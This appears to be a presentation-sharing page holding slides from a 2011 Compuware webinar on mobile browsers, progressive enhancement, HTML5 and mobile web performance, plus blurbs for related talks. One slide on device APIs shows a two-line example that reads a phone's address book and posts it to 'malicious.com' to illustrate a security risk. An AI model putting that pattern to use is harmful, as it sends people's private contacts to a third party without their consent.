The document discusses best practices for delivering quality mobile web experiences across different browsers and devices. It recommends adopting an end-user point of view to understand their objectives and tailor the experience accordingly. Developers should leverage evolving browser capabilities to improve perceived performance and ensure applications work as intended on all customer devices. A "one web" approach applying common performance practices across mobile and desktop can improve efficiencies.
Tuenti Mobile by Davide Mendolia
Mobile devices are becoming one of the most used platform to connect to Internet, In Tuenti we are putting a focus on mobile platforms through applications and mobile web, discover how we are building m.tuenti.com.
Use of a palette of technologies like mobile device detection and capabilities on the server and the client side that help us to server different version as Plain HTML or HTML5.
How we try to bring the best user experience to every device adapting the possibles interactions based on the features or limitations of each them.
We’ll get deep in the well-known techniques for website’s performance (from Steve Souders and others) and how real mobile devices reacts to each one. Are mobile browsers compatible with CSS Sprites or with Lazy Load Script? What about inline images and canvas? What are the big differences between desktop and mobile web performance?
Tuenti Mobile by Davide Mendolia
Mobile devices are becoming one of the most used platform to connect to Internet, In Tuenti we are putting a focus on mobile platforms through applications and mobile web, discover how we are building m.tuenti.com.
Use of a palette of technologies like mobile device detection and capabilities on the server and the client side that help us to server different version as Plain HTML or HTML5.
How we try to bring the best user experience to every device adapting the possibles interactions based on the features or limitations of each them.
We’ll get deep in the well-known techniques for website’s performance (from Steve Souders and others) and how real mobile devices reacts to each one. Are mobile browsers compatible with CSS Sprites or with Lazy Load Script? What about inline images and canvas? What are the big differences between desktop and mobile web performance?
Getting Started with Mobile Websites if You Don't Know CodeCarli Spina
This presentation was given at the June 8, 2012 Amigos Library Services virtual conference entitled "Access by Touch: Delivering Library Services Through Mobile Technologies".
Responsive web design has taken our industry by storm and with good reason: it helps us improve our reach with less effort. But incorporating responsive design is not the goal, meeting our user’s needs is. Responsive design is not an end in itself… it’s just the beginning.
As a fitting way to kick off our new workshop series, we’ve asked two internationally-renown mobile web and responsive design experts—Brad Frost (of This is Responsive, and Pattern Lab fame) and Aaron Gustafson (author of Adaptive Web Design)—to come and teach us everything we need to know about working in this multi-device reality.
For the first part of the day, Brad and Aaron will survey the landscape of responsive design, covering:
* broad concepts,
* strategies,
* the design process & deliverables,
*emerging design patterns and principles, and
* development best practices and considerations.
Then, we’ll break into small groups to tackle some thorny responsive challenges through discussions, sketching, and maybe even a little coding while Brad & Aaron provide real-time feedback and push us to go further. At the end, we’ll share our findings with the class and get additional feedback from the experts.
Getting Started with Mobile Websites if You Don't Know CodeCarli Spina
This presentation was given at the June 8, 2012 Amigos Library Services virtual conference entitled "Access by Touch: Delivering Library Services Through Mobile Technologies".
Responsive web design has taken our industry by storm and with good reason: it helps us improve our reach with less effort. But incorporating responsive design is not the goal, meeting our user’s needs is. Responsive design is not an end in itself… it’s just the beginning.
As a fitting way to kick off our new workshop series, we’ve asked two internationally-renown mobile web and responsive design experts—Brad Frost (of This is Responsive, and Pattern Lab fame) and Aaron Gustafson (author of Adaptive Web Design)—to come and teach us everything we need to know about working in this multi-device reality.
For the first part of the day, Brad and Aaron will survey the landscape of responsive design, covering:
* broad concepts,
* strategies,
* the design process & deliverables,
*emerging design patterns and principles, and
* development best practices and considerations.
Then, we’ll break into small groups to tackle some thorny responsive challenges through discussions, sketching, and maybe even a little coding while Brad & Aaron provide real-time feedback and push us to go further. At the end, we’ll share our findings with the class and get additional feedback from the experts.
This presentation is designed to provide a fundamental outline of what mobile beacons are, how they work and how they can be applied to practical marketing campaigns.
Online Tuesday Appril 2013 NU.nl Mobile Strategy and StatsBrechtje de Leij
Presentation on the Apps Edition of Online Tuesday 9 April 2013. Mobile Strategy of NU.nl, stats and insights on different platforms and mobile customer journey's.
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Brow...Compuware APM
Are you delivering quality web experiences to all your end-users – no matter what browser or mobile device they use?
Research shows 60% of mobile Web users had a problem in the past year when accessing a Website on their mobile device.
No matter what your customers use to access your website – from Internet Explorer 9 on a PC to Safari on an iPhone – they expect your site to be fast and work flawlessly.
Join renowned mobile platform strategist Peter-Paul Koch and Compuware CTO APM Steve Tack to learn:
- What growing web and mobile browser proliferation means for IT and Web app owners and developers
- The latest browser trends including the evolution of mobile browsers and HTML 5
- How to meet customers’ web experience expectations regardless of browser or device
- What problems exist for companies attempting to maintain cross-browser interoperability
- Best practices to deliver quality web experiences to all customers no matter what browser or device they use
Synapse india reviews on mobile application developmentsaritasingh19866
According to the Global Developer Survey ’13 conducted by Telerik, over 5000 developers said that they developed apps using HTML5 in 2012 and 90% of them plan to do so in 2013.
Only 15% of developers said they would prefer to use a native-only approach.
Simon Bates, Manifesto Digital - Mobile Application Development: Past, Presen...Simon Bates
Examining the history, evolution and future roadmap for mobile application development. Covering some of the background and history of mobile application development, from the early days of WML browsers and the development of the Symbian mobile operating system, through to the industry-changing iOS platform
http://manifesto.co.uk/
HTML5 or Android for Mobile Development?Reto Meier
Android apps or the mobile web? It's often a hard choice when deciding where to invest your mobile development resources. While the mobile web continues to grow, apps and app stores are incredibly popular. We will present both perspectives and offer some suggestions for making the most of each platform.
«I knew there had to be a better way to build mobile app»FDConf
I knew there had to be a better way to build mobile apps.
The time has never been better to learn mobile application development. For many app ideas, you don’t even need any prior native development knowledge. You can get started today with knowledge of HTML, CSS and JavaScript. Unlike native mobile development, mobile applications using web technologies can support many mobile platforms.
So during this session will gain experience how to start from very basics and build mobile apps with zero knowledge. Alius will share his own experience on building hybryd applications based on PhoneGap also he promised to explain why he suddenly changed his own opinion about native apps and switched back to Xamarin.
Similar to Best practices for delivering quality web experiences (20)
Kubernetes & AI - Beauty and the Beast !?! @KCD Istanbul 2024Tobias Schneck
As AI technology is pushing into IT I was wondering myself, as an “infrastructure container kubernetes guy”, how get this fancy AI technology get managed from an infrastructure operational view? Is it possible to apply our lovely cloud native principals as well? What benefit’s both technologies could bring to each other?
Let me take this questions and provide you a short journey through existing deployment models and use cases for AI software. On practical examples, we discuss what cloud/on-premise strategy we may need for applying it to our own infrastructure to get it to work from an enterprise perspective. I want to give an overview about infrastructure requirements and technologies, what could be beneficial or limiting your AI use cases in an enterprise environment. An interactive Demo will give you some insides, what approaches I got already working for real.
"Impact of front-end architecture on development cost", Viktor TurskyiFwdays
I have heard many times that architecture is not important for the front-end. Also, many times I have seen how developers implement features on the front-end just following the standard rules for a framework and think that this is enough to successfully launch the project, and then the project fails. How to prevent this and what approach to choose? I have launched dozens of complex projects and during the talk we will analyze which approaches have worked for me and which have not.
Slack (or Teams) Automation for Bonterra Impact Management (fka Social Soluti...Jeffrey Haguewood
Sidekick Solutions uses Bonterra Impact Management (fka Social Solutions Apricot) and automation solutions to integrate data for business workflows.
We believe integration and automation are essential to user experience and the promise of efficient work through technology. Automation is the critical ingredient to realizing that full vision. We develop integration products and services for Bonterra Case Management software to support the deployment of automations for a variety of use cases.
This video focuses on the notifications, alerts, and approval requests using Slack for Bonterra Impact Management. The solutions covered in this webinar can also be deployed for Microsoft Teams.
Interested in deploying notification automations for Bonterra Impact Management? Contact us at sales@sidekicksolutionsllc.com to discuss next steps.
Transcript: Selling digital books in 2024: Insights from industry leaders - T...BookNet Canada
The publishing industry has been selling digital audiobooks and ebooks for over a decade and has found its groove. What’s changed? What has stayed the same? Where do we go from here? Join a group of leading sales peers from across the industry for a conversation about the lessons learned since the popularization of digital books, best practices, digital book supply chain management, and more.
Link to video recording: https://bnctechforum.ca/sessions/selling-digital-books-in-2024-insights-from-industry-leaders/
Presented by BookNet Canada on May 28, 2024, with support from the Department of Canadian Heritage.
UiPath Test Automation using UiPath Test Suite series, part 3DianaGray10
Welcome to UiPath Test Automation using UiPath Test Suite series part 3. In this session, we will cover desktop automation along with UI automation.
Topics covered:
UI automation Introduction,
UI automation Sample
Desktop automation flow
Pradeep Chinnala, Senior Consultant Automation Developer @WonderBotz and UiPath MVP
Deepak Rai, Automation Practice Lead, Boundaryless Group and UiPath MVP
UiPath Test Automation using UiPath Test Suite series, part 4DianaGray10
Welcome to UiPath Test Automation using UiPath Test Suite series part 4. In this session, we will cover Test Manager overview along with SAP heatmap.
The UiPath Test Manager overview with SAP heatmap webinar offers a concise yet comprehensive exploration of the role of a Test Manager within SAP environments, coupled with the utilization of heatmaps for effective testing strategies.
Participants will gain insights into the responsibilities, challenges, and best practices associated with test management in SAP projects. Additionally, the webinar delves into the significance of heatmaps as a visual aid for identifying testing priorities, areas of risk, and resource allocation within SAP landscapes. Through this session, attendees can expect to enhance their understanding of test management principles while learning practical approaches to optimize testing processes in SAP environments using heatmap visualization techniques
What will you get from this session?
1. Insights into SAP testing best practices
2. Heatmap utilization for testing
3. Optimization of testing processes
4. Demo
Topics covered:
Execution from the test manager
Orchestrator execution result
Defect reporting
SAP heatmap example with demo
Speaker:
Deepak Rai, Automation Practice Lead, Boundaryless Group and UiPath MVP
Let's dive deeper into the world of ODC! Ricardo Alves (OutSystems) will join us to tell all about the new Data Fabric. After that, Sezen de Bruijn (OutSystems) will get into the details on how to best design a sturdy architecture within ODC.
GraphRAG is All You need? LLM & Knowledge GraphGuy Korland
Guy Korland, CEO and Co-founder of FalkorDB, will review two articles on the integration of language models with knowledge graphs.
1. Unifying Large Language Models and Knowledge Graphs: A Roadmap.
https://arxiv.org/abs/2306.08302
2. Microsoft Research's GraphRAG paper and a review paper on various uses of knowledge graphs:
https://www.microsoft.com/en-us/research/blog/graphrag-unlocking-llm-discovery-on-narrative-private-data/
Dev Dives: Train smarter, not harder – active learning and UiPath LLMs for do...UiPathCommunity
💥 Speed, accuracy, and scaling – discover the superpowers of GenAI in action with UiPath Document Understanding and Communications Mining™:
See how to accelerate model training and optimize model performance with active learning
Learn about the latest enhancements to out-of-the-box document processing – with little to no training required
Get an exclusive demo of the new family of UiPath LLMs – GenAI models specialized for processing different types of documents and messages
This is a hands-on session specifically designed for automation developers and AI enthusiasts seeking to enhance their knowledge in leveraging the latest intelligent document processing capabilities offered by UiPath.
Speakers:
👨🏫 Andras Palfi, Senior Product Manager, UiPath
👩🏫 Lenka Dulovicova, Product Program Manager, UiPath
Key Trends Shaping the Future of Infrastructure.pdfCheryl Hung
Keynote at DIGIT West Expo, Glasgow on 29 May 2024.
Cheryl Hung, ochery.com
Sr Director, Infrastructure Ecosystem, Arm.
The key trends across hardware, cloud and open-source; exploring how these areas are likely to mature and develop over the short and long-term, and then considering how organisations can position themselves to adapt and thrive.
FIDO Alliance Osaka Seminar: The WebAuthn API and Discoverable Credentials.pdf
Best practices for delivering quality web experiences
1.
2. State of
the mobile web
Peter-Paul Koch
http://quirksmode.org
http://twitter.com/ppk
Compuware Webinar , 24 March 2011
3. Mobile First!
• Design your sites for mobile first.
• You’ll be forced to decide what is so
important that it MUST be shown in the
mobile device’s tiny display.
• The things you leave out of the mobile
version don’t really need to be in the
desktop version, either.
4. The mobile browsers
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
You may groan now.
5. The mobile browsers
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
WebKit-based
6. WebKit on Mobile
There is no WebKit on mobile!
There's iPhone Safari (2 and 3),
and Android (1.0 and 1.5)
and S60 WebKit (v3 and v5)
and Blackberry WebKit,
and Palm WebKit,
and Bolt, Ozone, Teashark, and a few more
These WebKits are all different.
8. The mobile browsers
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
9. The mobile browsers
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
Proxy browsers
10. Proxy browsers
• Page is downloaded to and rendered
on a specialised server.
• A highly compressed image is sent to
the client.
• Advantage: cheap, both in device and
in network costs
• Disadvantage: no client-side
interactivity
11. Global stats Q4 2010
(by StatCounter)
Safari 23% iOS Stable
Opera 22% Many OSs Stable
BlackBerry 18% BlackBerry Down
Nokia 16% Symbian (and S40) Stable
Android 12% Android Up
NetFront 4% Sony Ericsson & Samsung Stable
Samsung 1% bada Up
UCWeb 1% Many OSs Down
Others 3%
12. Browser stats
• Those are GLOBAL stats; they are not
necessarily correct for the sites you’re
working on. Always check your stats.
• Social media referrals cause
disproportionate iPhone visits; and
Android to a lesser degree.
15. Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit
• Dolfin for bada (easy)
• Opera Mobile (easy)
16. Progressive
enhancement
How do you deal with this immense
amount of browsers?
Use advanced tricks, but make sure
your site remains usable without them.
The site is enhanced as much as the
browser allows.
17. Progressive
enhancement
HTML
All browsers support HTML. That’s the definition
of a browser.
18. Progressive
enhancement
Basic CSS
HTML
All browsers support most basic CSS. There will
be bugs, but only few.
19. Progressive
enhancement
Advanced CSS
Basic CSS
HTML
Advanced CSS is restricted to advanced
browsers. Make sure it contains nothing vital; just
nice extras.
20. Progressive
enhancement
Advanced CSS
Basic CSS Basic JavaScript
HTML
All browsers support basic JavaScript, but they
can be slow. Maybe switch off in BB5 and lower.
21. Progressive
enhancement
Advanced CSS Advanced JavaScript
Basic CSS Basic JavaScript
HTML
Advanced JavaScript is a problem. Feature
detection is your friend. Make sure it contains
nothing vital.
22. Progressive
enhancement
CSS animations? Use them.
If they don’t work, nothing is lost.
Offline storage? Use it.
If it doesn’t work, the user reloads the
site every time. Not perfect, but it works.
23. Performance
How long does it take to generate 250
lists with 20 items each?
The following graphs give the number of
seconds it took the browsers.
http://quirksmode.org/m/tests/DOMspeed.html
26. HTML5
• Which browsers support HTML5?
• What is HTML5, anyway?
• Ask five web developers and they’ll
give you five different answers.
27. HTML5
• Offline storage
• Video and audio
• Canvas
• New input types
• Websockets
• New semantics
• SVG
• File API
• etc. etc. etc.
28. Offline storage
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
29. SVG
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
30. New input types
• Safari iPhone • Obigo WebKit
• Android WebKit • Ovi
• Dolfin for bada • Bolt
• BlackBerry WebKit • BlackBerry old
• Opera Mobile • Phantom
• Opera Mini • Obigo old
• MicroB • NetFront
• Nokia WebKit • IE
• Firefox • UCWeb
31. HTML5
• Which browsers support HTML5?
• It depends.
• HTML5 is mainly a marketing
buzzword.
• That’s not bad; we need it.
• But it has no technical meaning.
32. HTML5 apps
• One core app written in HTML,
CSS, and JavaScript.
• Deployed to several mobile
platforms.
• Ideally, CSS and JavaScript are
stored on the device.
• If it can't be deployed it's still a
website.
33. Symbian Windows Mobile
I’ve done it. In April 2009.
34. Device APIs
• Native apps offer device APIs.
• They allow you to access the camera,
accelerometer, SMS, file system, etc.
• Web apps will have to offer them, too.
device.phone.call(device.addressBook['mom'])
35. Device APIs
var ab = device.addressBook.toString();
sendRequest(POST,'malicious.com',ab);
There’s a serious security problem here.
Providing trusted apps might remain an app
store function.
36. Summary
• Mobile First! Design for mobile, and
your desktop site will become better,
too.
• Use progressive enhancement. Lots of
it. It will keep you sane.
• Know which browsers to develop for.
37. Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit
• Dolfin for bada (easy)
• Opera Mobile (easy)
38. Thank you
• Peter-Paul Koch
• http://quirksmode.org
• http://twitter.com/ppk
• Compuware Webinar , 24 March 2011
39. Best Practices For Delivering
Quality Web Experiences In A
Mobile, Multi-Browser World
Steve Tack
CTO APM Solutions
Compuware
41. Mobile Devices & Browsers Ever More Important
• Morgan Stanley predicts global mobile users will outnumber
desktop internet users within 3 years
Global Mobile vs. Desktop Internet User Projection, 2007 - 2015
2000
1800 Desktop Users
1600 Mobile Users
Internet Users (MM)
1400
1200
1000
800
600
400
200
0
2007 2008 2009 2010 2011 2012 2013 2014 2015
Source: Mary Meeker, Morgan Stanley
42. Typical Evolution Of A Company’s Mobile Strategy
• Denial – Don’t do anything
– “Mobile Phone Users? Do we have any?” Limitation
– “Just have them go to our regular website”
• (Reluctant) Acceptance – Create a minimal mobile website
– “Let’s create a simple version of our website that works across all devices”
– Lowest common denominator approach
• Panic – Get an app store presence as quickly as possible
– “We have to have a native app. Everyone else is doing it”
– Create a thin native wrapper around the browser object. Low effort.
Questionable value.
• Contemplation – Fix the native app
– “Wow! These phones can do that?”
– Iteratively replace browser object with native calls, add device-specific
capabilities
• Maturity – Optimize the mobile website
Opportunity
– “Wow! I can do that in a browser? Really?”
– Use the mobile-specific browser capabilities to enhance mobile website
43. Smartphone Owners By Far Most Active Users
Of Mobile Web
F e
e p
a h
t o
u n
r e
Q
M
D
S
mh
ao
rn
t e
p
0% 10% 20% 30% 40% 50% 60% 70% 80% 90%
Daily Weekly Monthly
Source: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010
44. Different Browsers And Devices Have
Different Capabilities
• In turn different browsers offer different experiences - even
amongst high-end, touch screen smartphones
45. Smartphones Have Redefined Mobile End-Users’
Experience Expectations
• By end of 2011 Nielsen
expects more smartphones
in U.S. than feature phones
• As of November 2010
– 31% of U.S. mobile
subscribers own
smartphones
– 45% of recent acquirers
chose a smartphone over a
feature phone
• Mobile end-users expect
rich, engaging mobile web
experiences
47. End-Users’ Mobile Experience Expectations Are
Often Not Met
• Mobile website performance impacts
business results
– 52% of users are unlikely to return to a site
they had trouble accessing on their phone
• 40% said they’d likely visit a competitor’s website
instead
Social media allows
users to voice & record
their frustration in
real-time, negatively
impacting revenue and
brand equity
48. Poor Mobile Website Performance Hurts Business
Abandonment Rate Across 200+ Web Sites / 177+ Million Page
30
Abandonment Rate
- All Browsers
25
Abandonment Rate (%)
Abandonment Rate
20 - iPhone Safari
15
Slower pages = higher abandonment
10 • Reduces revenue
• Increases costs
• Damages brand
5
0
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Page Load Time (sec.)
Source: Gomez real user monitoring
49. Delivering Quality Mobile Web Experiences Is
Difficult - Solution: Adopt Your End-Users' POV
The Application Delivery Chain
• Resource
contention
• Capacity issues
Cloud • Slow bursting
Customers
Private Public Browsers
Local
Data Center • Inconsistent geo performance ISP
• Bad performance under load 3rd Party/
Virtual/Physical Environment
• Blocking content delivery Cloud Services • Poorly
performing
DB App Web Load • Network JavaScript
Mainframe Servers Servers Servers Balancers Major peering • Browser/
ISP problems device
• Poorly performing • Network incompatibility
problems • Bandwidth
Java or .NET
methods • Bandwidth
Customer/user point of view throttling • Pages too big
contention • Inconsistent • Low cache
• Slow SQL or Web
Storage transactions • Network connectivity hit rate
services • Improper load
Network peering Content
• Server performance balancing problems
• Outages Delivery
Networks
Web Mobile WAN
Services Components Optimization Mobile
• Configuration issues
• Oversubscribed POP Carrier
• Poor routing optimization Devices
Employees Employees
• Low cache hit rate • Network resource shortage
• Faulty content transcoding
• SMS routing / latency issues
50. Know Your End-Users
• Can mobile end-users complete key transactions?
– While on the move
– Often one-handed
– With intermittent network/GPS connections
• What devices and browsers
do they use?
• What networks are they on?
• What are their usage
patterns?
• What is their geographic
location?
• What is their context?
• What are their objectives?
51. Browsers Are Evolving
• HTML5 support
– Application cache, canvas,
audio, video, local storage,
geo-location, etc.
• CSS3 support
– Web fonts, animations,
gradients, shadows, etc.
• Performance improvements
– Faster JavaScript processing
– Parallel download of JS scripts
– More parallel connections
– Resource pre-fetching
– Multi-threading in JS
52. Leverage Browser Capabilities To Improve
Perceived Performance
• Fewer steps to complete an end-user goal equals better
perceived performance from an end-users’ perspective
53. Ensure Mobile Web Applications Function As Intended
Across All The Devices Your Customers Use
Android 2.2 – Nexus One BlackBerry OS 5 – Storm 2 iOS 4.1 – iPhone 3GS
54. Embrace A “One Web” Application Performance
Management Approach
• Mobile websites and applications often share backend infrastructure and
services with existing web apps
• Important to leverage established and common best practices, metrics
and technologies for both mobile and web channels
– Garner operational efficiencies
– Identify mobile specific problems, web specific problems or both across the
entire application delivery chain - from device to datacenter
iPad & Safari
iPhone & Safari iPhone App
Windows 7 & Chrome
55. How To Deliver Quality Web Experiences In A
Mobile, Multi-Browser World
• Adopt your end-users' point of view
• Know your end-users
• Tailor your mobile experience to meet your end-
users' objectives
• Leverage browser capabilities to improve perceived
performance
• Ensure mobile web applications function as
intended across all the devices your customers use
• Embrace a “One Web” application performance
management approach
56. Questions?
Compuware Customers
Enjoy Measurable Benefits
• Increased revenue 25%
• Reduced revenue loss by
92% and $737,251 annually
• Reduced home page load
time from 11.3 seconds
to 3.4 seconds
• Saved 50%+ in staff and fees
• Reduced downtime 45%
• Improved first-hour problem
resolution rate to 80%
• Improved annual
troubleshooting efficiency by
97%, saving $784,000
• Reduced SAP license costs by
$475,000 per year
For more information visit Gomez.com or contact us at +1 781.778.2700